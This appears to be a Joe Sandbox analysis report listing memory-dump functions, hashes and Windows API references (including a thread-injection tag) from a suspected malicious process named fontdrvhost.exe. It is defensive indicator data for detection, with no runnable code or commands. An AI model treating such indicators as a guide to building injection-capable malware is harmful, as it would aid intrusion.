Source File: 00000000.00000002.1674632989.00007FFD9BBC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BBC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9bbc0000_ZT3pxe2Tb4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1b4385d079157c7a9353188476001a9ac54bc50ec68c454e407e654146ff6f78
Instruction ID: 2e1a4a48a24265056a65404d4dd6d00cfc6ee3c75838c52d2207a104afe44a1e
Opcode Fuzzy Hash: 1b4385d079157c7a9353188476001a9ac54bc50ec68c454e407e654146ff6f78
Instruction Fuzzy Hash: 4B413726A0E7C65ED723A77498B14E07F70AE0320831E45F7C4D9CE4E3DA1AA809C792

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9BBCD16D Relevance: .1, Instructions: 99COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1674632989.00007FFD9BBC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BBC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9bbc0000_ZT3pxe2Tb4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dd97ad550a3ebb49e65f21623aacaa93edb28d3bbbb9689c2fe30d4273260132
Instruction ID: a2acb3bbc8ec8eafc84bad60d9f3f34760c377233ff7270f87c7a8f01357a3bb
Opcode Fuzzy Hash: dd97ad550a3ebb49e65f21623aacaa93edb28d3bbbb9689c2fe30d4273260132
Instruction Fuzzy Hash: 7F310674E18A1D8FCF84EF98D491AEDBBF1FB69300F2011AAD419E7291CB35A941CB44

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: fontdrvhost.exePID: 5496, Parent PID: 1044COMMON

Execution Graph

Execution Coverage:	3%
Dynamic/Decrypted Code Coverage:	83.3%
Signature Coverage:	0%
Total number of Nodes:	12
Total number of Limit Nodes:	0

Executed Functions

Function 00007FFD9B9F0DA8 Relevance: .3, Instructions: 302
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000008.00000002.1786200291.00007FFD9B9F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B9F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffd9b9f0000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 24d9789df1320439b16a85b784e7f4f374483bde01c39f74cb828b1b81d01323
Instruction ID: 32f99b1682eb95844cb81338240519462ef645d73c88a7db4cdcae4ef657d908
Opcode Fuzzy Hash: 24d9789df1320439b16a85b784e7f4f374483bde01c39f74cb828b1b81d01323
Instruction Fuzzy Hash: C9A1CE75B19A8D8FE798EF68C8647A97FE1FF95310F1001BAD049D72E6CA782901CB10

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B9F0B47 Relevance: 2.6, Strings: 2, Instructions: 73
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

!k9, xrefs: 00007FFD9B9F0B4E
c9, xrefs: 00007FFD9B9F0B56

Memory Dump Source

Source File: 00000008.00000002.1786200291.00007FFD9B9F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B9F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffd9b9f0000_fontdrvhost.jbxd

Similarity

API ID:
String ID: c9$!k9
API String ID: 0-3254877420
Opcode ID: 7ffb8ba514f0547423313594b8a3bc12709f30a72b049320a7e7d9c40889e777
Instruction ID: 7012afd3a36d54cc62561f9da4b2b5c4763730b91161369d985f37068ecd3eeb
Opcode Fuzzy Hash: 7ffb8ba514f0547423313594b8a3bc12709f30a72b049320a7e7d9c40889e777
Instruction Fuzzy Hash: 9011D236B2964E8FCB44EF2CE4916E977E0FF94325F010576E849D3250D730A955CB81

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9BBB0190 Relevance: 1.7, APIs: 1, Instructions: 162
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ResumeThread.KERNEL32 ref: 00007FFD9BBB0291

Memory Dump Source

Source File: 00000008.00000002.1802514308.00007FFD9BBA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BBA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffd9bba0000_fontdrvhost.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 10ad953ee81afd5dfcfc79308c6a69b71784cd95136d2005a5afb4423b46411a
Instruction ID: bd1ec75428218eda08b2438f3e2885fc4563bfc45df779f63664f615590e0d84
Opcode Fuzzy Hash: 10ad953ee81afd5dfcfc79308c6a69b71784cd95136d2005a5afb4423b46411a
Instruction Fuzzy Hash: 43519D70A0D79C8FDB59DFA8D894AE9BFF0EF16310F1441ABD049D7292CA35A846CB11

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9C0D861D Relevance: 1.7, Strings: 1, Instructions: 404
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

^^8, xrefs: 00007FFD9C0D862A

Memory Dump Source

Source File: 00000008.00000002.1848141152.00007FFD9C0D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C0D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffd9c0d0000_fontdrvhost.jbxd

Similarity

API ID:
String ID: ^^8
API String ID: 0-1095223944
Opcode ID: fe8809d35884f7076e707647f7b1163fc001695dc12b4f6226cef2c3295f5353
Instruction ID: faa3bc791333d319991822ec4215f3386a57b857fe634d56279091963c948fd3
Opcode Fuzzy Hash: fe8809d35884f7076e707647f7b1163fc001695dc12b4f6226cef2c3295f5353
Instruction Fuzzy Hash: 58510C31B0C61B8FE765BBA894A25F877F0EF04394F1903B6E44D860D6EF29684496C1

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9BBB02F9 Relevance: 1.6, APIs: 1, Instructions: 143
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindCloseChangeNotification.KERNEL32 ref: 00007FFD9BBB03D1

Memory Dump Source

Source File: 00000008.00000002.1802514308.00007FFD9BBA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BBA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffd9bba0000_fontdrvhost.jbxd

Similarity

API ID: ChangeCloseFindNotification
String ID:
API String ID: 2591292051-0
Opcode ID: 12046b2d4fef9f00db040b29f04285d21435f1a766757b9be46a00b24219df59
Instruction ID: ab7c2cad141a193aa64fe961443fb54a6acd187bebd712f84703b4c6a8322a16
Opcode Fuzzy Hash: 12046b2d4fef9f00db040b29f04285d21435f1a766757b9be46a00b24219df59
Instruction Fuzzy Hash: 93416F30E0865C8FDB59DF98C899BEDBBF0FF5A310F1041AAD049D7292DA74A845CB01

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9BBAEAAD Relevance: 1.6, APIs: 1, Instructions: 141
threadinjectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SuspendThread.KERNEL32 ref: 00007FFD9BBAEB81

Memory Dump Source

Source File: 00000008.00000002.1802514308.00007FFD9BBA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BBA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffd9bba0000_fontdrvhost.jbxd

Similarity

API ID: SuspendThread
String ID:
API String ID: 3178671153-0
Opcode ID: f8643037e8406af874336d15f61f1bc6e45412ffed30c29b7e955c475194a112
Instruction ID: e058b3ca372eae3c3ac9d10ce095fa1eb10e01913db87f818ba854579757f721
Opcode Fuzzy Hash: f8643037e8406af874336d15f61f1bc6e45412ffed30c29b7e955c475194a112
Instruction Fuzzy Hash: 49415C70E0864D8FDB58DFA8D895BEDBBF0FF5A310F10416AD449E7292DA34A845CB41

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9BBB1F85 Relevance: 1.6, APIs: 1, Instructions: 135
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesW.KERNEL32 ref: 00007FFD9BBB2052

Memory Dump Source

Source File: 00000008.00000002.1802514308.00007FFD9BBA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BBA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffd9bba0000_fontdrvhost.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 207c655eab8ea26cfb103a55f4131de4156eea71d4e0abf1a7ae8e62e27f3f85
Instruction ID: e72681c7a1f8ff16a6ae93e1523199b4cdf2e820295e5cf8df8df82a3cf114f3
Opcode Fuzzy Hash: 207c655eab8ea26cfb103a55f4131de4156eea71d4e0abf1a7ae8e62e27f3f85
Instruction Fuzzy Hash: 4C410870E08A1C8FDB98DF98D895BEDBBF0FB59310F14416AD409E7252DA71A885CF41

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9C0D86FA Relevance: 1.6, Strings: 1, Instructions: 313
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

^^, xrefs: 00007FFD9C0D86FA

Memory Dump Source

Source File: 00000008.00000002.1848141152.00007FFD9C0D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C0D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffd9c0d0000_fontdrvhost.jbxd

Similarity

API ID:
String ID: ^^
API String ID: 0-2541302950
Opcode ID: b06296f75e42627c01890fe9e13528a5e0bbad8db77471517ba7b1213a827858
Instruction ID: 5f3f042c4f023eecc7d282207730f36e465d684f8fbac2050be4649fbcf699d5
Opcode Fuzzy Hash: b06296f75e42627c01890fe9e13528a5e0bbad8db77471517ba7b1213a827858
Instruction Fuzzy Hash: 9D31A621B1C75B8FD775DA9484A6178B6F0EF05394F180379E08DC61C5EF686804A782

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B9F16D3 Relevance: 1.3, Strings: 1, Instructions: 49
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

-O_^, xrefs: 00007FFD9B9F1701

Memory Dump Source

Source File: 00000008.00000002.1786200291.00007FFD9B9F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B9F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffd9b9f0000_fontdrvhost.jbxd

Similarity

API ID:
String ID: -O_^
API String ID: 0-3106561898
Opcode ID: a32c11aadf4349ec9e2ef583b40e4be875242ef529f784d21b2752d0e03d2be4
Instruction ID: d91d90d2de2515b33da6b9fbf08ef31d83f979beec8aa50fc0babfc417b21d15
Opcode Fuzzy Hash: a32c11aadf4349ec9e2ef583b40e4be875242ef529f784d21b2752d0e03d2be4
Instruction Fuzzy Hash: D2012035B0D14A9FD711FF78E8516DD3BA0EF41324F080172E49DC6083E9256A58C391

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9C0D78D0 Relevance: .7, Instructions: 669
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000008.00000002.1848141152.00007FFD9C0D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C0D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffd9c0d0000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dac800aa6cf99b7f437fbc01b89c8acfc49f24fb615a858a14760977a2c68925
Instruction ID: c8bf35a334f0113cde04c6f4ea20ee704464c73090aa057848e621733f75ccd5
Opcode Fuzzy Hash: dac800aa6cf99b7f437fbc01b89c8acfc49f24fb615a858a14760977a2c68925
Instruction Fuzzy Hash: FF227530B18A1A8FDBA8DB4CC865A7877F1FF54314F5042B9E01EC7296EB24AC45CB81

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9C0D066C Relevance: .4, Instructions: 392
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000008.00000002.1848141152.00007FFD9C0D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C0D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffd9c0d0000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 138fd87ad1ef1ce4cdf2b25378186baded4d755d2c568986bc9eed367522fdc1
Instruction ID: ed5db6a0c8d1d34fb39589ffac20ced7325e858da802c03e1640c811063ae864
Opcode Fuzzy Hash: 138fd87ad1ef1ce4cdf2b25378186baded4d755d2c568986bc9eed367522fdc1
Instruction Fuzzy Hash: 4DD1F330B0D74B8FE7799BA884611B87BB0EF45358F9402BAE04EC7182EF296855DB41

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9C0D0C93 Relevance: .2, Instructions: 238
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000008.00000002.1848141152.00007FFD9C0D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C0D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffd9c0d0000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a8f80c37868832fd834940b76b37833a557908cd8df8dca07c522f704a74c594
Instruction ID: 251c4b95f52af92328df82c442669cc9ecc0bf168bd517166989482d62133fe2
Opcode Fuzzy Hash: a8f80c37868832fd834940b76b37833a557908cd8df8dca07c522f704a74c594
Instruction Fuzzy Hash: 1371183270CA464FDB68EF58C4959B477F1EBA9318B1442B9E45EC7192EE38F852C780

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9C0D8387 Relevance: .2, Instructions: 238
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000008.00000002.1848141152.00007FFD9C0D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C0D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffd9c0d0000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a4f5cfc4a9b8a26e23b36f281da69663b7c8d80be7734802154d427aa36aab13
Instruction ID: 674902e44c143cb7ceb69deaac10eb0d3f55cd511dd5859234c8e423e76dcddb
Opcode Fuzzy Hash: a4f5cfc4a9b8a26e23b36f281da69663b7c8d80be7734802154d427aa36aab13
Instruction Fuzzy Hash: FC71E231A0C64B4FE7B8DA5888675B937E0FF44362F0403B9F59EC7592FB18A80696C1

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9C0DBA00 Relevance: .2, Instructions: 236
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000008.00000002.1848141152.00007FFD9C0D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C0D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffd9c0d0000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 93f006839fc49b003d36560a807c64bfc803e2cdb317e19c2d5cc909518bea4c
Instruction ID: 8442f1e41ebe29ee84ef35cc7df2f3a9dcbe6045760a4fdaf75937a421292624
Opcode Fuzzy Hash: 93f006839fc49b003d36560a807c64bfc803e2cdb317e19c2d5cc909518bea4c
Instruction Fuzzy Hash: DD811531F0C74A4FDB69AB6884756B97BF0EF55300F0402FAE04EC71D6EE6868419B42

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9C0D06B0 Relevance: .2, Instructions: 228
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000008.00000002.1848141152.00007FFD9C0D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C0D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffd9c0d0000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 56f6dba99b4e4e91b49085bfc3230689d0356e0fdfdc83b7dc4830f6b4cae8e5
Instruction ID: 4c373a07a24309641f221038a2b92b16f48506c9ee81f9405bfda9d1781c3ad7
Opcode Fuzzy Hash: 56f6dba99b4e4e91b49085bfc3230689d0356e0fdfdc83b7dc4830f6b4cae8e5
Instruction Fuzzy Hash: CD81E130A09B478FE365DB54D1A057177B1FF44348F90467EE08E87A92EB29B892DB81

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B9F08D0 Relevance: .2, Instructions: 182COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1786200291.00007FFD9B9F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B9F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffd9b9f0000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 50148dee668535c172617754024bee9696c3f42c1edfd91a355eb436bb78738c
Instruction ID: b194ba83acfbe19eda78c2077cead2895b48268f023a2a203773cd6ba3d14d52
Opcode Fuzzy Hash: 50148dee668535c172617754024bee9696c3f42c1edfd91a355eb436bb78738c
Instruction Fuzzy Hash: A051BE31B1855E8FDB44FFA8E4A5AEC7BE0EF58324F0401BAD44AD7196CA25A885C780

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B9F1715 Relevance: .1, Instructions: 139COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1786200291.00007FFD9B9F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B9F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffd9b9f0000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b676556d358c4db7587b239f24e37089d61dfae4b37a70a3a34a0f4963ac9848
Instruction ID: 7bda44fcafabc0605c0566391a9c6930cb1580f38c1c2def692d1d18f43da3a9
Opcode Fuzzy Hash: b676556d358c4db7587b239f24e37089d61dfae4b37a70a3a34a0f4963ac9848
Instruction Fuzzy Hash: AD51A331B1A69E9FEB60EB68C8586E9BBE0FF55324F0540B6D04DD71A1DE346E84CB40

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B9F0908 Relevance: .1, Instructions: 133COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1786200291.00007FFD9B9F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B9F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffd9b9f0000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cc1d3c74830843a3c570cd6fe8076c2155baf6b8ddb51494b4f2e55cf6d343e0
Instruction ID: a6c96655a1b12fde8e0ae435f97998376b5933c7618cad5b3418539ded9740d5
Opcode Fuzzy Hash: cc1d3c74830843a3c570cd6fe8076c2155baf6b8ddb51494b4f2e55cf6d343e0
Instruction Fuzzy Hash: 8E517A70A0590E9FCF84EF98D494EEDBBF1FF69324F050169E409E7260DA74E9908B80

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9C0D800C Relevance: .1, Instructions: 128COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1848141152.00007FFD9C0D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C0D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffd9c0d0000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 981a1e706b055a7563d5b499efbe8d77e1d428d33d66d9df0c3dce123a308a20
Instruction ID: d1b2216522cde4bcc0ee233097caf6d798f9742263e88f4da63e0c62292f8473
Opcode Fuzzy Hash: 981a1e706b055a7563d5b499efbe8d77e1d428d33d66d9df0c3dce123a308a20
Instruction Fuzzy Hash: 7A41093094E3CA4FE7579364D8265F53FB0EF83364F0402FAE0898A0A3E7555516C782

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9C0D0CD7 Relevance: .1, Instructions: 127COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1848141152.00007FFD9C0D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C0D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffd9c0d0000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 20a157f2d120df9eede4dd7747ed50c426ae49929062b469dedc47293250adfb
Instruction ID: 204173c91a0f92124ccc980b19ab1f7d2dc8d30ee384fab1147a1e50ac9c207e
Opcode Fuzzy Hash: 20a157f2d120df9eede4dd7747ed50c426ae49929062b469dedc47293250adfb
Instruction Fuzzy Hash: 85412D3270CA498FDFA8FF5CC4A5DA4B7E1EBA8314B04416AD44EC3192DE25EC95CB81

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B9F1613 Relevance: .1, Instructions: 124COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1786200291.00007FFD9B9F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B9F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffd9b9f0000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3b28162806247b7128604a80d996486f30f95091ade69c2e6d66bcd4037f67a8
Instruction ID: b8c9918408b252c7adab4369acd6a2bbc8a94f4b2d62cc04c9c5b16649186f6b
Opcode Fuzzy Hash: 3b28162806247b7128604a80d996486f30f95091ade69c2e6d66bcd4037f67a8
Instruction Fuzzy Hash: 7F316E27F0E25A1FE711BBADA4B55E93B90EF91339F0901B3C1D9CA0A3EC15690D8291

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B9F0998 Relevance: .1, Instructions: 113COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1786200291.00007FFD9B9F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B9F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffd9b9f0000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a5edc1ecf706ffd5334a60c543c44ddcb3102be4f62d39fcef93b1f9f92715c8
Instruction ID: fa48013cc257ba6343a44a6f72895f1bacbb9e17080604b9a225961ede6751a7
Opcode Fuzzy Hash: a5edc1ecf706ffd5334a60c543c44ddcb3102be4f62d39fcef93b1f9f92715c8
Instruction Fuzzy Hash: A2412870A1495D8FDF94EF98C895AEDBBF1FF68314F10016AE409E3295CA34A981CB81

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B9F5BE8 Relevance: .1, Instructions: 109COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1786200291.00007FFD9B9F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B9F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffd9b9f0000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: da226102d091921df8ecc4dd443870febb15f0f84607e07656d8cfe43ed797ef
Instruction ID: ae8a82158b6e175ec1a1748f9133b508587dd11275079c00a107cce3c8218b59
Opcode Fuzzy Hash: da226102d091921df8ecc4dd443870febb15f0f84607e07656d8cfe43ed797ef
Instruction Fuzzy Hash: 0041A5B0A0492C8FDBA4DB14C854BE9B7F0EB68315F1041EAD10EE72A5DA756EC48F45

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9C0D804A Relevance: .1, Instructions: 104COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1848141152.00007FFD9C0D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C0D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffd9c0d0000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0a23c30605631c01bd2b3539aa2c06ca24817389ba452e688064d2f22fb3ba91
Instruction ID: b2bdedd852cdc7de9227cea8618b8a76f80c73495762620138bd37661289af39
Opcode Fuzzy Hash: 0a23c30605631c01bd2b3539aa2c06ca24817389ba452e688064d2f22fb3ba91
Instruction Fuzzy Hash: A231072094E3C64FE753937498696E53F716F43364F1802EAE089CA4E3EB990409D752

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9C0D9879 Relevance: .1, Instructions: 96COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1848141152.00007FFD9C0D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C0D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffd9c0d0000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1eb5cebe5e0950107ef687ce7d6a742ee97781c78da39ea1038f5e154b8ddeee
Instruction ID: 058db24fbfdf6b5b6ef40050821e5e25dad2cff3e7c1305efd432565e435cb28
Opcode Fuzzy Hash: 1eb5cebe5e0950107ef687ce7d6a742ee97781c78da39ea1038f5e154b8ddeee
Instruction Fuzzy Hash: 9131FE70E1861E9FDFA8DB58D4A5AADB7B1EF58310F0141BED01EE3291DF3469819B40

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B9F13C8 Relevance: .1, Instructions: 92COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1786200291.00007FFD9B9F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B9F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffd9b9f0000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1fecae00b085479b74c4e73143c5dfcef38fdc03e7d89f10e5b8c50f340b327e
Instruction ID: 46b15a50f4f692deda7187bb994d4cefe8e82a4346de47b0791baa3fb9227d56
Opcode Fuzzy Hash: 1fecae00b085479b74c4e73143c5dfcef38fdc03e7d89f10e5b8c50f340b327e
Instruction Fuzzy Hash: 71318D30F2964E8BDB64EB98C8657BD7BB1FF49310F11417AD00AD32E6DA742A448B81

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9C0D8E37 Relevance: .1, Instructions: 89COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1848141152.00007FFD9C0D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C0D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffd9c0d0000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fc12f7dcdcd00c651e95fc8ad82292ed9f17071a2421fbac4d2a305d2d34e336
Instruction ID: 3ad1642e73d400862dfc2942a1559a5d88a44d51cd30540fcc560e00ec19c533
Opcode Fuzzy Hash: fc12f7dcdcd00c651e95fc8ad82292ed9f17071a2421fbac4d2a305d2d34e336
Instruction Fuzzy Hash: 97310F71F1891F9FEBA4EB88C4A29BC77B1FF58340F504775E00ED6195EB246841AB80

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B9F0C25 Relevance: .1, Instructions: 88COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1786200291.00007FFD9B9F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B9F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffd9b9f0000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d05a1684d07cf4cacda93cc37782fc4d8cc1ec9d8c53a1f2bd9df74ff10f958f
Instruction ID: 84f2ee0f62d444cc9529da1988d3f8ccf0afe15198b997a88afee3c73a9e0c61
Opcode Fuzzy Hash: d05a1684d07cf4cacda93cc37782fc4d8cc1ec9d8c53a1f2bd9df74ff10f958f
Instruction Fuzzy Hash: 86313935F1D68E8BE712AFA4C8203FD7BA4EF81320F05457BC5559B1E2CA782A49CB51

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9C0D98C2 Relevance: .1, Instructions: 84COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1848141152.00007FFD9C0D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C0D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffd9c0d0000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 30df9b9fddc1dec6ae20dd9f7a83c8c1fd812244585901fea78d9c28f6d06b8c
Instruction ID: 3e9af377e3347d5ccbb3d8fbb09c06d6e6ae41204720d35141844a3116978fa7
Opcode Fuzzy Hash: 30df9b9fddc1dec6ae20dd9f7a83c8c1fd812244585901fea78d9c28f6d06b8c
Instruction Fuzzy Hash: 8D21FB31E0891D8FDF98EB58D4A5AECB7B1FF68310F0141AA901EE3291DF35A9818B40

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B9F5D41 Relevance: .1, Instructions: 81COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1786200291.00007FFD9B9F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B9F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffd9b9f0000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 59a81896139ad43bd544ade613f59ae588c37099ed38480218a79a9b7930bab7
